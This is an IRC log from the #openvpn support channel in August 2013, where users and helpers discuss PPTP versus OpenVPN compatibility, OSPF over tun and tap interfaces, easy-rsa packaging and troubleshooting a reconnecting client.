08:41 < zvcvp> OpenVPN is an open source software application that implements virtual private network  (VPN) techniques for creating secure point-to-point or site-to-site  connections in routed or bridged configurations and remote access  facilities. It uses a custom security protocol[2] that utilizes SSL/TLS for key exchange.
08:41 < zvcvp> Copy paste from wikipedia
08:41 < zvcvp> Anyway.. I figured out my problem :)
08:41 <@plaisthos> zvcvp: yeah. Thanks that pretty much sums up the problem
08:41 <@plaisthos> -problem
08:42 < IamTrying> plaisthos, how do i install then the standard VPN PPTP like Draytek/Juniper routers? (not the openVPN and openVPN)
08:42 < IamTrying> plaisthos, i did but i am not sure if its compatible VPN PPTP standards
08:43 <@plaisthos> IamTrying: openvpn server is only compatible with openvpn clients
08:43 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
08:43 <@plaisthos> IamTrying: we only support OpenVPN in this channel
08:43 < IamTrying> plaisthos, so means Cisco or Juniper or Draytek or Windows 7 dialers cant connect with OpenVPN?
08:43 <@plaisthos> IamTrying: right
08:44 < IamTrying> plaisthos, then why so many users are using it like makes not sense, its not having any compatibility for enterprise cases.
08:44 <@plaisthos> !pptp
08:44 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml
08:44 <@vpnHelper> to read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
08:45 <@plaisthos> IamTrying: becuase it works well if you install the client software of OpenVPN
08:45 <@plaisthos> IamTrying: why are people using cisco vpn? It also requires installing a custom client (in most configurations)
08:46 < IamTrying> plaisthos, can i have OpenVPN client in Google Chrome as default to initialize it via JavaScript? (if its not following the OS standards)
08:46 <@plaisthos> IamTrying: I am not sure if you trying to troll or lacking basic network knowlege at this point
08:46 < IamTrying> plaisthos, i am writing a browser extension for (Google Chrome/Chromium/Canary) to have VPN server interconnect from Javascript.
08:47 -!- [fred] [fred@konfuzi.us] has joined #openvpn
08:47 < IamTrying> plaisthos, i know how it sounds to you. I have been using StrongSWAN/OpenSWAN, the reason of using OpenVPN is to make compatible with many routers
08:47 -!- zvcvp [~claudiu@gw-bu-ro-gts-01.ioteo.net] has left #openvpn []
08:47 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn
08:47 < IamTrying> plaisthos, but seems like you are giving me the correct information that it has to be OpenVPN to OpenVPN
08:47 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:48 <@plaisthos> IamTrying: yeah. OpenVPN uses its own protocol
08:50 <@plaisthos> if you want to talk to an OpenVPN client/server you need another client/server of OpenVPN at the other end
08:50 < IamTrying> plaisthos, thank you. Is there any way for example if VPN Client is installed in the Mac, Windows, Linux, Android, IOS, that i can access it via API? (cause my current project i am making a way via javascript to trigger VPN Client having connection to VPN server)
08:51 <@plaisthos> No idea about others platforms but the OpenVPN for Android client has a remote API for controlling it
08:51 <@plaisthos> and openvpn has the management interface
08:51 <@plaisthos> doc/management.txt
08:52 < IamTrying> plaisthos, OK so that means only Android i can use my Java or Python to remotely controle in my way
08:52 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
08:52 < IamTrying> Would be great if OpenVPN clients for all platform having a protocol to maintain via third party languages like sort of wrappers
08:52 <@plaisthos> IamTrying: I am not sure what kind of API you need
08:53 <@plaisthos> take a look at doc/management.txt
08:53 -!- Eagleman [~something@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:54 <@plaisthos> for android: http://code.google.com/p/ics-openvpn/source/browse/src/de/blinkt/openvpn/api/IOpenVPNAPIService.aidl
08:54 <@vpnHelper> Title: IOpenVPNAPIService.aidl - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com)
08:54 < IamTrying> plaisthos, 1) assume you are  a user you open Google Chrome browser 2) you went www.myservice.com 3) javascript using google chrome open vpn client in the backend and interconnect to my VPN server 4) so when you are in my website you and me we have VPN and now i can do multi-media over browser by avoiding all my nat/stun/travers issues
08:54 < IamTrying> OK
08:55 <@plaisthos> (you can still write your app for android and use the management interface of course)
08:55 < IamTrying> Exactly.
08:55 < IamTrying> plaisthos, that is what i was looking for all cross-platform
08:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:56 -!- Eagleman [~something@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has left #openvpn []
08:56 < IamTrying> Thank you plaisthos , that answers my research
08:56 <@plaisthos> I have no idea what socket magic you have to do to get "browser only vpn"
08:59 < IamTrying> plaisthos, well if its socket based no problem. There is ws:// and wss:// web sockets available locally or as relay server
08:59 < IamTrying> Big thanks plaisthos !!
08:59 <@plaisthos> IamTrying: yeah you still need to implement ip stack in javascript or yourself :)
08:59 < IamTrying> plaisthos, i have one yes
09:00 <@plaisthos> ah okay
09:00 <@plaisthos> self written or are there good user space tcp/ip stacks out there?
09:00 < IamTrying> plaisthos, check this out mine: http://82.143.92.20:8080/
09:00 <@vpnHelper> Title: Test (at 82.143.92.20:8080)
09:01 < IamTrying> so to make it no nat/stun/turn/ice problem i need an embedded VPN Client, then i can do full-duplex audio/video
09:02 <@plaisthos> if you are able to pull that off you might consider selling the embedded VPN client stuff :D
09:02 <@plaisthos> and rember OpenVPN is GPL licensed
09:03 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
09:03 < IamTrying> plaisthos, OpenVPN i will make iOpenVPN and keep GPL license as open source no problem
09:04 < IamTrying> i worked with StrongSWAN but its too much to make cross platform compatible plaisthos
09:04 < IamTrying> so now recently started to work with OpenVPN
09:04 < IamTrying> Will contribute after having some success
09:08 < IamTrying> plaisthos, already noticed one BUG in openVPN, dont know if openVPN access server is also part of openVPN ? when i use the lan interface of openVPN it crash my media server with segment fault.
09:08 < IamTrying> Anyway have to check codes thanks!!
09:09 <@plaisthos> access server is the commercial product
09:09 <@plaisthos> but it uses the opensource openvpn
09:09 < IamTrying> OK - dont need that one, need only which is freedom
09:09 < IamTrying> OK
09:15 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has quit [Ping timeout: 264 seconds]
09:19 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has joined #openvpn
09:19 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
09:21 < dimitry7> Hello Guys. I got a server with openvpn installed. It always worked fine but know openvpn service keeps stopping by itself. What we do is ssh through the external link and # service openvpn start
09:21 < dimitry7> We use Debian 6 (just as reference)
09:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:27 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
09:32 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
09:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
09:40 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has joined #openvpn
09:40 -!- gffa [~unknown@524895DD.cm-4-1c.dynamic.ziggo.nl] has quit [Changing host]
09:40 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:42 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has joined #openvpn
09:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
09:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:48 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-dfwuljlaaigujjha] has quit [Ping timeout: 246 seconds]
09:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
09:49 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 246 seconds]
09:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
09:50 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Ping timeout: 245 seconds]
09:53 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
09:56 -!- dupondje [~dupondje@artemis.dupie.be] has joined #openvpn
09:59 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:59 <@vpnHelper> Title: InstallingMingwW64 – OpenVPN Community (at community.openvpn.net)
10:01 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-ycaaawtcmbciepyl] has joined #openvpn
10:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
10:07 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:09 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has quit [Ping timeout: 245 seconds]
10:09 < crane> can i configure a net range where openvpn picks up the ip for the clients?
10:10 < crane> i know about "server ip nm" but when i configure this and pushes my clients a ip via dhcp from another range they are not able to ping the gw anymore... :/
10:12 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer]
10:12 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
10:20 < crane> nevermind i got it :)
10:22 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has joined #openvpn
10:24 -!- raidz_away is now known as raidz
10:29 -!- linux_user [~linux_use@rrcs-24-172-180-219.central.biz.rr.com] has joined #openvpn
10:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
10:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:34 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
10:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
10:38 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:48 -!- linux_user [~linux_use@rrcs-24-172-180-219.central.biz.rr.com] has quit [Quit: linux_user]
10:49 -!- dimitry7 [~antonello@38.124.174.31] has quit [Read error: Connection reset by peer]
11:09 -!- Rumbles [~Rumbles@host81-133-199-16.in-addr.btopenworld.com] has quit [Ping timeout: 240 seconds]
11:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
11:13 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
11:17 -!- master_o1_master [~master_of@p4FD7BCA8.dip0.t-ipconnect.de] has joined #openvpn
11:20 -!- master_of_master [~master_of@p4FF24385.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
11:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:23 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
11:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
11:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:46 -!- mindcruft [~ident@static-108-27-36-18.nycmny.fios.verizon.net] has joined #openvpn
11:50 < mindcruft> Has anyone been able to successfully been able to run ospf over the an openvpn tunnel in client/server mode?
11:57 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
12:09 < jzaw> !ping
12:09 <@vpnHelper> pong
12:09 -!- jrgcombr [~JRocha@200.189.189.47] has quit []
12:15 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:16 < Dougy> <mindcruft> Has anyone been able to successfully been able to run ospf over the an openvpn tunnel in client/server mode?
12:16 < Dougy> now that's interestnig
12:16 < Dougy> can't say i have ever heard of it
12:17 < mindcruft> It seems like a perfectly legitimate thing to do but it seems either no one has a need or hasn't been able to do it successfully
12:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:18 < Eugene> It's on my todo list, but I do not have it set up right now.
12:18 < Eugene> The test I ran in the lab worked fine
12:19 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
12:21 < mindcruft> Eugene: Were you running point to point or client/server? It seems to work fine with point to point. I am getting an error on the server side with quagga
12:21 < mindcruft> 2013/08/28 17:07:31 OSPF: Packet from [192.168.0.11] received on link tun0 but no ospf_interface
12:23 < Eugene> I don't rightly remember
12:24 < rob0> I don't see how client/server would make any difference. But it would need tap, right?
12:25 < Eugene> Correct.
12:25 < mindcruft> Really? Even though it's multicast?
12:25 < Eugene> Especially because it's multicast
12:25 < mindcruft> Not sure why you would need any layer 2
12:25 < Eugene> Because OSPF doesn't use IP for the link communication?
12:26 < mindcruft> It works fine over a point to point though with tun
12:26 < rob0> I don't know, but I looked up OSPF on wikipedia, where it says it's a layer 2 protocol.
12:26 < mindcruft> For example http://openmaniak.com/openvpn_routing.php
13:01 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:02 < mindcruft> So after some testing it does seem to work without issue over tap interfaces. Which now raises the question, are there scalibility issues with tap? We have hosts with over 1000 nodes connected at a time
14:03 < Eugene> All running OSPF?
14:04 < mindcruft> They will be, yes
14:04 < mindcruft> Right now we are doing everything static and with scripts
14:04 < Eugene> So, here's the real question, why?
14:05 < mindcruft> Why OSPF?
14:05 < Eugene> Why scripts to begin with? WHat's the point of the setup?
14:05 < mindcruft> Each node is another linux router/firewall which then has nodes behind it
14:05 < mindcruft> The scripts basically take the iroutes and add them to the kernel routing table
14:06 < Eugene> That's the how
14:06 < Eugene> WHY
14:06 < Eugene> !xy
14:06 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
14:07 < mindcruft> We do that because there are multiple VPN servers as well hosts beyond the vpn servers that need the routes published so they can get them
14:07 < Aketzu> so you have 10000 hosts around the world that you want to network cheaply?
14:08 < Eugene> That's still how
14:08 < Eugene> THAT would be the why ^
14:08 < mindcruft> How else would you do it?
14:08 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:08 < Eugene> I don't know yet, because it's painful to get the details of your network out of you
14:09 < Eugene> And at this point I've stopped caring because it's a game of 20 questions.
14:09 < mindcruft> I was explaining the network but you were too focused on why
14:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: No route to host]
14:10 < Aketzu> how about explaining the physical setup
14:13 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
14:13 < mindcruft> We have 2 VPN servers back at a corporate office, we then have 1000 or so nodes which are low powered linux devices doing routing and firewall for a location which may have a dozen or so hosts behind it
14:14 < mindcruft> The devices behind the openvpn host at corporate need to get to the linux firewall at the location as well as the devices behind it
14:14 < Eugene> "I have ~1000 branch offices which need to be connected to my central office"
14:14 < Eugene> That is the basic problem
14:15 < Aketzu> do you need redundant setup for vpn servers?
14:16 < Eugene> That being sorted, OSPF does sound like the appropriate solution here
14:17 < Eugene> Your worries about TAP scalability are overshadowed by the fact that `openvpn` really should not have >100 clients per process, because you lose performance to "context switching" between clients
14:17 < mindcruft> Aketzu: We do, yes.
14:17 < Eugene> Basically, the overhead of talking to that many endpoints
14:17 < mindcruft> Eugene: We run multiple instances per host and plan for around 250 hosts per instance
14:17 < Eugene> I'd plan for ~100 ;-)
14:18 < mindcruft> Eugene: That's good to know
14:19 < mindcruft> So if we were running around ~100 nodes per instance what if any would be the concerns of run tap vs tun, other then the fact of broadcast traffic
14:20 < Eugene> A little bit more overhead because you're sending ethernet frames is about it
14:21 -!- speed_racer84 [~speed_rac@h93.162.30.71.dynamic.ip.windstream.net] has joined #openvpn
14:21 < mindcruft> Doesn't sound like a major concern
14:21 < Eugene> The majority of the time people say they're doing TAP is because they're trying to do bridging, which is stupid.
14:22 < Eugene> But you're really just after the L2 protocol on the vpn link
14:22 < Aketzu> "just put all to 10/8 network and bridge them together" :)
14:23 < mindcruft> Agreed, I'm not sure what you would gain by bridging the tap interface
14:23 < rob0> Picard to Bridge
14:24 < Aketzu> mindcruft: btw, what linux devices are you going to be using?
14:24 < Aketzu> I have a feeling that I need to be doing similar setup at work in a year or two
14:24 < mindcruft> We souce hardware from China(of course), but we run straight Debian linux. We manage the devices all via puppet
14:25 < Aketzu> custom hw?
14:25 < mindcruft> We manage them from bare metal to fully built
14:25 < mindcruft> Nope, let me see if I can dig up a link
14:25 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
14:26 < mindcruft> Aketzu: http://www.lannerinc.com/products/x86-network-appliances/desktop/
14:26 <@vpnHelper> Title: x86 Desktop Appliances | x86 Network Appliances | Products | Lanner (at www.lannerinc.com)
14:26 < mindcruft> We use the 7541
14:27 < Aketzu> looks nice
14:28 < mindcruft> Yeah they're stable, no moving parts, all solid state, etc
14:28 < mindcruft> They run off of compact flash
14:40 -!- ade_b [~Ade@p5DE8F609.dip0.t-ipconnect.de] has joined #openvpn
14:40 -!- ade_b [~Ade@p5DE8F609.dip0.t-ipconnect.de] has quit [Changing host]
14:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:50 < mindcruft> So I found a very old posting on the openvpn users list http://openvpn.net/archive/openvpn-users/2005-09/msg00079.html
14:50 <@vpnHelper> Title: [Openvpn-users] New subnet topology feature ready for testing (at openvpn.net)
14:50 < mindcruft> Turns out that you can change the topology to a subnet topology, which is awesome for many reasons, but I am able to get OSPF to work over a tun interface that way
14:52 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:57 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer]
14:57 -!- roentgen_ [~irc@rds.psw.ro] has joined #openvpn
14:58 -!- roentgen_ [~irc@rds.psw.ro] has quit [Client Quit]
15:04 < ngharo> mindcruft: you probably need a bridge (tap) instead routed tun setup
15:04 < mindcruft> ngharo: Why?
15:05 < Eugene> No, he does not.
15:06 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
15:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
15:08 -!- s7r_s [~s7r@openvpn/user/s7r] has joined #openvpn
15:08 -!- mode/#openvpn [+v s7r_s] by ChanServ
15:24 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 268 seconds]
15:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:36 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
15:41 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Ping timeout: 260 seconds]
15:41 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
15:44 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
15:46 -!- Denial [Denial@05417302.skybroadband.com] has quit []
16:04 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
16:07 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
16:12 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:13 -!- p3rror [~p3rror@41.249.118.228] has joined #openvpn
16:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:20 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has left #openvpn ["Leaving"]
16:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:38 -!- s7r_s is now known as s7r
16:45 -!- CookieNinja is now known as rtbt
16:56 -!- speed_racer84 [~speed_rac@h93.162.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 268 seconds]
17:04 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 245 seconds]
17:07 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
17:13 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 264 seconds]
17:17 -!- folivora [~out@46.19.34.64] has joined #openvpn
17:17 -!- p3rror [~p3rror@41.249.118.228] has quit [Ping timeout: 264 seconds]
17:32 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 246 seconds]
17:33 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
17:33 -!- mode/#openvpn [+o novaflash] by ChanServ
17:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 247 seconds]
17:34 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 247 seconds]
17:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:35 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 245 seconds]
17:36 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
17:36 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:44 -!- DeVito_ [d3vito@d3vito.de] has quit [Ping timeout: 256 seconds]
17:48 -!- DeVito [d3vito@d3vito.de] has joined #openvpn
17:49 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Read error: Operation timed out]
17:52 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:56 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
17:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:12 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 268 seconds]
18:15 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
18:16 -!- JSharpe [~JSharpe@h88-150-184-42.host.redstation.co.uk] has quit [Ping timeout: 245 seconds]
18:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:25 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 264 seconds]
18:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
18:27 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
18:34 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
19:04 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 260 seconds]
19:06 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
19:22 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
19:36 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
20:04 -!- flickerfly [~jritchie@216.115.64.198] has joined #openvpn
20:06 < flickerfly> Does anyone know where I can find easy-rsa on Ubuntu 12.04 LTS? It doesn't seem to be bundled with OpenVPN anymore, but the easy-rsa packages don't show up until 13.04.
20:08 -!- raidz is now known as raidz_away
20:14 < Corey> flickerfly: Sure it's not in  /usr/share/doc/openvpn/examples/easy-rsa ?
20:15 < Corey> Er, one moment.
20:17 < Corey> flickerfly: Yeah, openvpn package stuffs it into /usr/share/doc/openvpn/examples/easy-rsa/.
20:17 < Corey> Just verified through apt-file.
20:22 -!- wiak [~wiak@nwgat.net] has quit [Quit: ZNC - http://znc.in]
20:22 -!- wiak [~wiak@nwgat.net] has joined #openvpn
20:23 -!- wiak [~wiak@nwgat.net] has quit [Client Quit]
20:23 -!- wiak [~wiak@nwgat.net] has joined #openvpn
20:24 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-ahwtvfzcuwtnmlal] has left #openvpn []
20:25 < flickerfly> Thanks Corey
20:29 -!- wiak [~wiak@nwgat.net] has quit [Quit: ZNC - http://znc.in]
20:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
20:30 -!- wiak [~wiak@nwgat.net] has joined #openvpn
20:30 -!- wiak [~wiak@nwgat.net] has quit [Client Quit]
20:31 -!- wiak [~wiak@nwgat.net] has joined #openvpn
20:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:43 < dvl> I'm looking for reasons why one client keeps restarting.  Inactivity timeout (--ping-restart), restarting.  All clients are using the same .conf file.  Just confounding right now.
20:45 -!- Melissa_ [~Melissa@209.234.135.98] has joined #openvpn
20:46 < Melissa_> hey quick question, if you don't have any cipher or tls-cipher directives in your config files, the traffic isn't encrypted right? even if you have certs in place
20:47 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
20:47 < Eugene> Incorrect; --cipher defaults to BF-CBC
20:47 < Eugene> You would explicitly have to set it to none
20:47 < dvl> phew.
20:47 < Melissa_> ah ok
20:48 < Eugene> dvl - server log will probably tell why; my first guess is duplicate cert
20:49 < dvl> Eugene: Tailing the server log too.  Not seeing that.  But it reconnects about every two minutes.  I'll bump the verb from 1 to 4.
20:49 < Eugene> That'll help ;-)
20:49 < Melissa_> Eugene, thank you
20:49 < Melissa_> wasn't aware of that
20:49 -!- Melissa_ [~Melissa@209.234.135.98] has quit [Quit: Leaving]
20:51 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 248 seconds]
20:51 -!- michaelhart_ is now known as michaelhart
20:54 < dvl> Eugene: guess what.  I see two instances of openvpn on that client.
20:54 < Eugene> Tada
20:54 < Eugene> !dupe
20:54 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
20:54 < Eugene> !duplicate
20:54 <@vpnHelper> "duplicate" is the option duplicate-cn is for allowing the same cert to login more than once. It should not be used in most situations, with main exceptions being if you also use !authpass or if just testing
20:55 < Eugene> Fukken bot.
20:55 < dvl> Eugene: There's is only supposed to be one instance.  I killed it.
20:55 < Eugene> And now, it'll work
20:56 < dvl> Yep.  All my clients have been established for many months.  This was a hiccup introduced after the gateway died. Seems there something wrong with the PID or something.
20:57 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:01 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
21:02 -!- mirco_ [~mirco@p508000EA.dip0.t-ipconnect.de] has joined #openvpn
21:03 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
21:03 -!- mirco [~mirco@p50802986.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
21:03 -!- mirco_ is now known as mirco
21:04 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
21:12 -!- DeVito [d3vito@d3vito.de] has quit [Read error: Operation timed out]
21:12 -!- DeVito [d3vito@d3vito.de] has joined #openvpn
21:12 -!- DeVito [d3vito@d3vito.de] has quit [Remote host closed the connection]
21:21 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
21:56 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:41 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 245 seconds]
23:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
--- Day changed Thu Aug 29 2013
00:02 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:14 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
